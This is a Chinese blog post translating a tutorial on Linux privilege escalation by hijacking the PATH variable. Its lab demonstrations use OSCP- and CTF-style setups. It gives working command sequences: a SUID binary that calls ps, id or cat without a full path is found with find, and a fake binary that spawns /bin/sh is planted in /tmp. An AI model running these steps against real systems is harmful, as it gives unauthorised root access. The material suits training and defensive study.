threst's Blog

利用 PATH 环境变量进行 Linux 提权

2018/06/06 Share

高考加油

写在前面的话

在解决了几个OSCP挑战之后,我决定写一篇关于用于Linux提权方法的文章,这对我们的渗透测试项目很有帮助。在本文中,我们将学习“操纵$PATH变量的各种方法”,以获得远程主机的根访问权,以及CTF challenges用于提权的$PATH漏洞的技术。

介绍

PATH是Linux和unix操作系统中的环境变量,它存储可执行程序的所有bin和sbin目录。当用户在终端上运行命令时,它对shell的请求是根据用户执行的命令在PATH变量的帮助下搜索可执行文件。超级用户通常还拥有/sbin和/usr/sbin条目,以便轻松执行系统管理命令。
使用echo命令查看用户路径。
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你注意到’.’在环境路径变量中,这意味着被记录的用户可以从当前目录执行二进制文件/脚本。

方法1

目前,我们在/home/raj目录中,我们将创建一个名称为/script的新目录。现在在脚本目录中,我们将编写一个小c程序来调用系统二进制文件的函数。

1
2
3
4
pwd
mkdir script
cd /script
nano demo.c

你可以在我们的演示中看到我们的demo.c调用ps系统二进制文件命令。

然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。

1
2
3
4
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

受害者的机虚拟机

首先,你需要破坏目标系统然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在查找命令的帮助下搜索具有SUID或4000权限的文件。

1
find / -perm -u=s -type f 2>/dev/null

在上面的命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以观察/home/raj/script/shell具有suid权限。

然后我们进入/home/raj/script并看到一个可执行文件“shell”。我们运行这个文件,它看起来像正在运行ps,这是进程状态的一个真正的文件。

1
2
ls
./shell

Echo Command

1
2
3
4
5
6
7
8
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Copy Command

1
2
3
4
5
6
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

1
2
3
4
5
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注意:符号链接也被称为符号链接,如果该目录具有完整的权限,它将成功地工作。在Ubuntu中,对于符号链接,我们给了/script目录的权限777。
因此,我们看到攻击者可以操纵环境变量路径来升级特权并获得根访问。

方法2

重复上述步骤来配置您自己的环境中,我们将编写一个小c程序来调用系统二进制文件的功能。

1
2
3
4
pwd
mkdir script
cd /script
nano demo.c

你可以在我们的demo.c正在调用id命令–它是系统二进制文件。

然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。

1
2
3
4
ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

受害者的虚拟机

再一次,你需要破坏目标系统然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在查找命令的帮助搜索具有SUID或4000权限的文件。在这里,我们还可以观察/home/raj/script/shell2具有suid权限。

1
find / -perm -u=s -type f 2>/dev/null

然后我们进入/home/raj/script,并看到一个可执行文件“shell2”。我们运行这个文件,它看起来像正在运行id。

1
2
3
cd /home/raj/script
ls
./shell2

Echo command

1
2
3
4
5
6
7
8
cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

Method 3

重复以上步骤,设置您自己的环境确保我们的demo.c文件可以调用cat命令从内部读取内容etc/passwd文件。然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。

1
2
3
4
ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj

受害者的虚拟机

再次破坏受害者的系统,然后转移到权限升级阶段,执行下面的命令来查看sudo用户列表。

1
find / -perm -u=s -type f 2>/dev/null

在这里,我们还可以观察/home/raj/script/raj具有suid权限,然后进入/home/raj/script并看到一个可执行文件“raj”。所以当我们运行这个文件时,它就会输出etc/passwd文件。

1
2
3
cd /home/raj/script/
ls
./raj

Nano Editor

1
2
cd /tmp
nano cat

现在在终端输入/bin/bash当并保存它。


1
2
3
4
5
6
7
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

方法4

重复以上步骤,设置您自己的环境确保我们的demo.c文件可以调用cat命令来读取msg.txt是在/home/raj里面,但是/home/raj里面没有这样的文件,然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。

1
2
3
4
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

受害者的虚拟机

再次损害受害者的系统,然后转移到特权升级阶段,并执行下方命令以查看sudo用户列表。

1
find / -perm -u=s -type f 2>/dev/null

在这里,我们还可以观察/home/ raj/script/拥有suid权限,然后我们进入/home/raj/script,看到一个可执行文件“ignite”。因此,当我们运行这个文件时,它会把一个错误“cat: /home/raj/msg.”txt”的结果。

1
2
3
cd /home/raj/script
ls
./ignite

Vi Editor

1
2
cd /tmp
vi cat

现在在终端输入/bin/bash当并保存它。


1
2
3
4
5
6
7
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami


本文翻译:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

CATALOG
  1. 1. 高考加油
    1. 1.1. 写在前面的话
    2. 1.2. 介绍
    3. 1.3. 方法1
      1. 1.3.1. 受害者的机虚拟机
        1. 1.3.1.1. Echo Command
        2. 1.3.1.2. Copy Command
        3. 1.3.1.3. Symlink command
    4. 1.4. 方法2
      1. 1.4.1. 受害者的虚拟机
        1. 1.4.1.1. Echo command
    5. 1.5. Method 3
      1. 1.5.1. 受害者的虚拟机
        1. 1.5.1.1. Nano Editor
    6. 1.6. 方法4
      1. 1.6.1. 受害者的虚拟机
        1. 1.6.1.1. Vi Editor